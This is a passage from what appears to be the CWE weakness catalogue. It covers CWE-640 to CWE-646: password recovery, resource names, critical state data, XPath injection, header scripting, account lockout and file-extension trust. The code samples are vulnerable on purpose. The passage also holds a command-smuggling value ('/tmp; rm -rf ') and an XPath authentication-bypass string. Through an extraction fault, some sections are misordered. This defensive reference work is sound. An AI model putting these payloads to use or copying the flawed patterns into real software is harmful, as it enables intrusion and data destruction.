For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

**Architecture and Design**

**Implementation**

Make sure that the key that is used in the lookup of a specific user’s record is not controllable externally by the user or that any tampering can be detected.

**Architecture and Design**

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>715</td>
<td>OWASP Top Ten 2007 Category A4 - Insecure Direct Object</td>
<td>1116</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Reference</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>1119</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>813</td>
<td>OWASP Top Ten 2010 Category A4 - Insecure Direct Object</td>
<td>1250</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>References</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>840</td>
<td>Business Logic Errors</td>
<td>1287</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>862</td>
<td>Missing Authorization</td>
<td>1303</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>932</td>
<td>OWASP Top Ten 2013 Category A4 - Insecure Direct Object</td>
<td>1363</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>References</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>945</td>
<td>SFP Secondary Cluster: Insecure Resource Access</td>
<td>1375</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>566</td>
<td>Authorization Bypass Through User-Controlled SQL Primary</td>
<td>905</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Key</td>
<td>1000</td>
</tr>
</tbody>
</table>

**CWE-640: Weak Password Recovery Mechanism for Forgotten Password**

**Weakness ID:** 640 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

**Extended Description**
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. This weakness may be that the security question is too easy to guess or find an answer to (e.g. because it is too common). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system. Weak password recovery schemes completely undermine a strong password authentication scheme.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Access Control**

- **Gain privileges / assume identity**
  An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.

**Availability**

- **DoS: resource consumption (other)**
  An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.

**Integrity**

- **Other**
  - Other
    The system’s security functionality is turned against the system by the attacker.

**Likelihood of Exploit**

- High

**Enabling Factors for Exploitation**

- The system allows users to recover their passwords and gain access back into the system.
- Password recovery mechanism relies only on something the user knows and not something the user has.
- Weak security questions are used.
- No third party intervention is required to use the password recovery mechanism.

**Observed Examples**

**Description**

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder’s account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

**Potential Mitigations**
Architecture and Design
Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Architecture and Design
Do not use standard weak security questions and use several security questions.

Architecture and Design
Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Architecture and Design
Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Architecture and Design
Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Architecture and Design
Assign a new temporary password rather than revealing the original password.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>255</td>
<td>Credentials Management</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>840</td>
<td>Business Logic Errors</td>
<td>508</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>959</td>
<td>SFP Secondary Cluster: Weak Cryptography</td>
<td>1120</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>49</td>
<td>Insufficient Password Recovery</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>50</td>
<td>Password Recovery Exploitation</td>
<td></td>
</tr>
</tbody>
</table>

References


Maintenance Notes

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

This entry probably needs to be split; see extended description.

CWE-641: Improper Restriction of Names for Files and Other Resources

<table>
<thead>
<tr>
<th>Weakness ID: 641 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The application constructs the name of a file or other resource using input from an upstream component, but does not restrict or incorrectly restricts the resulting name.
Extended Description
This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client’s browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Execution of arbitrary code in the context of usage of the resources with dangerous names.

Confidentiality
Availability
Read application data
DoS: crash / exit / restart
Crash of the consumer code of these resources resulting in information leakage or denial of service.

Likelihood of Exploit
Low

Enabling Factors for Exploitation
Resource names are controllable by the user.
No sufficient validation of resource names at entry points or before consumption by other processes.
Context where the resources are consumed makes execution of code possible based on the names of the supplied resources.

Potential Mitigations
Architecture and Design
Do not allow users to control names of resources used on the server side.

Architecture and Design
Perform whitelist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

Architecture and Design
Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
CWE-642: External Control of Critical State Data

**Description**

**Summary**
The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.

**Extended Description**
If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Technology Classes**
- Web-Server (*Often*)

**Common Consequences**

**Access Control**
Bypass protection mechanism
Gain privileges / assume identity
An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.

**Confidentiality**
Read application data
The state variables may contain sensitive information that should not be known by the client.

**Availability**
DoS: crash / exit / restart
By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.

**Likelihood of Exploit**
High

**Enabling Factors for Exploitation**
An application maintains its own state and/or user state (i.e. application is stateful).
State information can be affected by the user of an application through some means other than the legitimate state transitions (e.g. logging into the system, purchasing an item, making a payment, etc.)
An application does not have means to detect state tampering and behave in a fail safe manner.

**Demonstrative Examples**
**Example 1:**
In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

**Java Example:**

```java
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

**Example 2:**
The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as ".\..\tomcat\conf\server.xml", which causes the application to delete one of its own configuration files (CWE-22).

**Java Example:**

```java
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
... rFile.delete();
```

**Example 3:**
The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

**Java Example:**

```java
fis = new FileInputStream(cfg.getProperty("sub") + ".txt");
amt = fis.read(arr);
out.println(arr);
```

**Example 4:**
This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

**C Example:**

```c
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can’t control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

**PseudoCode Example:**

The user sets the PATH to reference a directory under that user’s control, such as "/my/dir/".

The user creates a malicious program called "ls", and puts that program in /my/dir

The user executes the program.

When system() is executed, the shell consults the PATH to find the ls program.

The program finds the malicious program, "my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
The program executes the malicious program with the raised privileges.

**Example 5:**
This code prints all of the running processes belonging to the current user.

**PHP Example:**

```php
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep \ ' . $userName;
system($command);
```

This program is also vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

**Example 6:**
The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

**Perl Example:**

```perl
$ENV{"HOMEDIR"} = "/home/mydir/public/"
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
    chomp;
    if (/^ENV \{\w\_\}\ (.*)/) {
        $ENV{$1} = $2;
    } elsif (/^QUIT/) { ... } elsif (/^LIST/) { 
        open($fh, "/bin/ls -l $ENV{HOMEDIR}|"));
        while (<$fh>) { 
            SendOutput($stream, "FILEINFO: $_");
        } close($fh);
    }
}
```

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf ". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be a whitelist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0073</td>
<td>Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution.</td>
</tr>
<tr>
<td>CVE-2000-0102</td>
<td>Shopping cart allows price modification via hidden form field.</td>
</tr>
<tr>
<td>CVE-2000-0253</td>
<td>Shopping cart allows price modification via hidden form field.</td>
</tr>
<tr>
<td>CVE-2005-2428</td>
<td>Mail client stores password hashes for unrelated accounts in a hidden form field.</td>
</tr>
<tr>
<td>CVE-2006-7191</td>
<td>Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-642: External Control of Critical State Data

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-4432</td>
<td>Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.</td>
</tr>
<tr>
<td>CVE-2008-0306</td>
<td>Privileged program trusts user-specified environment variable to modify critical configuration settings.</td>
</tr>
<tr>
<td>CVE-2008-1319</td>
<td>Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.</td>
</tr>
<tr>
<td>CVE-2008-4752</td>
<td>Application allows admin privileges by setting a cookie value to &quot;admin.&quot;</td>
</tr>
<tr>
<td>CVE-2008-5065</td>
<td>Application allows admin privileges by setting a cookie value to &quot;admin.&quot;</td>
</tr>
<tr>
<td>CVE-2008-5125</td>
<td>Application allows admin privileges by setting a cookie value to &quot;admin.&quot;</td>
</tr>
<tr>
<td>CVE-2008-5642</td>
<td>Setting of a language preference in a cookie enables path traversal attack.</td>
</tr>
<tr>
<td>CVE-2008-5738</td>
<td>Calendar application allows bypass of authentication by setting a certain cookie value to 1.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

**Architecture and Design**

**Identify and Reduce Attack Surface**

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [R.642.2]. Apply this against the state or sensitive data that you have to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

**Architecture and Design**

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

**Architecture and Design**

**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use some frameworks can maintain the state for you. Examples include ASP.NET View State and the OWASP ESAPI Session Management feature. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Operation

Implementation

Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>371</td>
<td>State Issues</td>
<td>699</td>
<td>652</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>750</td>
<td>1145</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
<td>1381</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>15</td>
<td>External Control of System or Configuration Setting</td>
<td>699</td>
<td>14</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>1000</td>
<td>108</td>
</tr>
<tr>
<td>RequiredBy</td>
<td>C</td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>1000</td>
<td>612</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>426</td>
<td>Untrusted Search Path</td>
<td>1000</td>
<td>731</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
<td>1000</td>
<td>795</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>565</td>
<td>Reliance on Cookies without Validation and IntegrityChecking</td>
<td>1000</td>
<td>903</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

Relevant Properties

- Accessibility
- Mutability
- Trustability

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td>Exploitation of Trusted Credentials</td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

**Description**

**Summary**
The software uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

**Extended Description**
The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Access Control**
- Bypass protection mechanism
  - Controlling application flow (e.g. bypassing authentication).

**Confidentiality**
- Read application data
  - The attacker could read restricted XML content.

**Likelihood of Exploit**
- High

**Enabling Factors for Exploitation**
XPath queries are constructed dynamically using user supplied input

**Demonstrative Examples**
Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

**XML Example:**

```xml
<users>
  <user>
    <login>john</login>
    <password>abracadabra</password>
    <home_dir>/home/john</home_dir>
  </user>
  <user>
    <login>cbc</login>
    <password>1mgr8</password>
    <home_dir>/home/cbc</home_dir>
  </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

**Java Example:**

```java
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("/users/user[login/text()=\"" + login.getUserName() + \"\" and password/text() = \"" + login.getPassword() + \"\"]/home_dir/text()\";
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "" or ""="" the XPath expression now becomes
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Weakness ID: 644 (Weakness Variant) Status: Incomplete

Description

Summary

The application does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If an application does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Potential Mitigations

Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td>170</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>943</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
<td>1373</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1392</td>
</tr>
</tbody>
</table>

Relationship Notes

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>39</td>
<td>XPath Injection</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

References


//users/user[login/text()='john' or ''='' and password/text() = '' or ''=']/home_dir/text()

which, of course, lets user "john" login without a valid password, thus bypassing authentication.
CWE Version 2.11
CWE-645: Overly Restrictive Account Lockout Mechanism

**Languages**
- All

**Common Consequences**
- Integrity
- Confidentiality
- Availability

**Execute unauthorized code or commands**
- Run arbitrary code.

**Confidentiality**
- Read application data
  - Attackers may be able to obtain sensitive information.

**Likelihood of Exploit**
- High

**Enabling Factors for Exploitation**
- Script execution functionality is enabled in the user’s browser.

**Demonstrative Examples**
In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

**Java Example:**
```java
response.addHeader(HEADER_NAME, untrustedRawInputData);
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-3918</td>
<td>Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**
- Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
<td>217</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>442</td>
<td>Web Problems</td>
<td>757</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>725</td>
<td>OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws</td>
<td>1121</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1392</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

### CWE-645: Overly Restrictive Account Lockout Mechanism

**Weakness ID:** 645 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**
- The software contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily. This allows attackers to deny service to legitimate users by causing their accounts to be locked out.

**Extended Description**
Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users’ account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Availability**
- DoS: resource consumption (other)
  - Users could be locked out of accounts.

**Likelihood of Exploit**
- High

**Enabling Factors for Exploitation**
- The system has an account lockout mechanism.
- An attacker must be able to trigger the account lockout mechanism.
- The cost to the attacker of triggering the account lockout mechanism should be less than the cost to re-enable the account.

**Observed Examples**

**Description**
- A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder’s account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

**Potential Mitigations**

**Architecture and Design**
- Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

**Architecture and Design**
- Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

**Architecture and Design**
- Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>6</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>0</td>
<td></td>
<td></td>
<td>508</td>
</tr>
<tr>
<td>ChildOf</td>
<td>6</td>
<td>951</td>
<td>SFP Secondary Cluster: Insecure Authentication Policy</td>
<td>888</td>
</tr>
</tbody>
</table>

**CWE-646: Reliance on File Name or Extension of Externally-Supplied File**

**Weakness ID: 646 (Weakness Variant)**

**Status:** Incomplete
The software allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

**Extended Description**
An application might use the file name or extension of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a "*.png" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Confidentiality**

- Read application data
  - An attacker may be able to read sensitive data.

**Availability**

- DoS: crash / exit / restart
  - An attacker may be able to cause a denial of service.

**Access Control**

- Gain privileges / assume identity
  - An attacker may be able to gain privileges.

**Likelihood of Exploit**

- High

**Enabling Factors for Exploitation**

There is reliance on file name and/or file extension on the server side for processing.

**Potential Mitigations**

**Architecture and Design**

- Make decisions on the server side based on file content and not on file name or extension.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍃</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
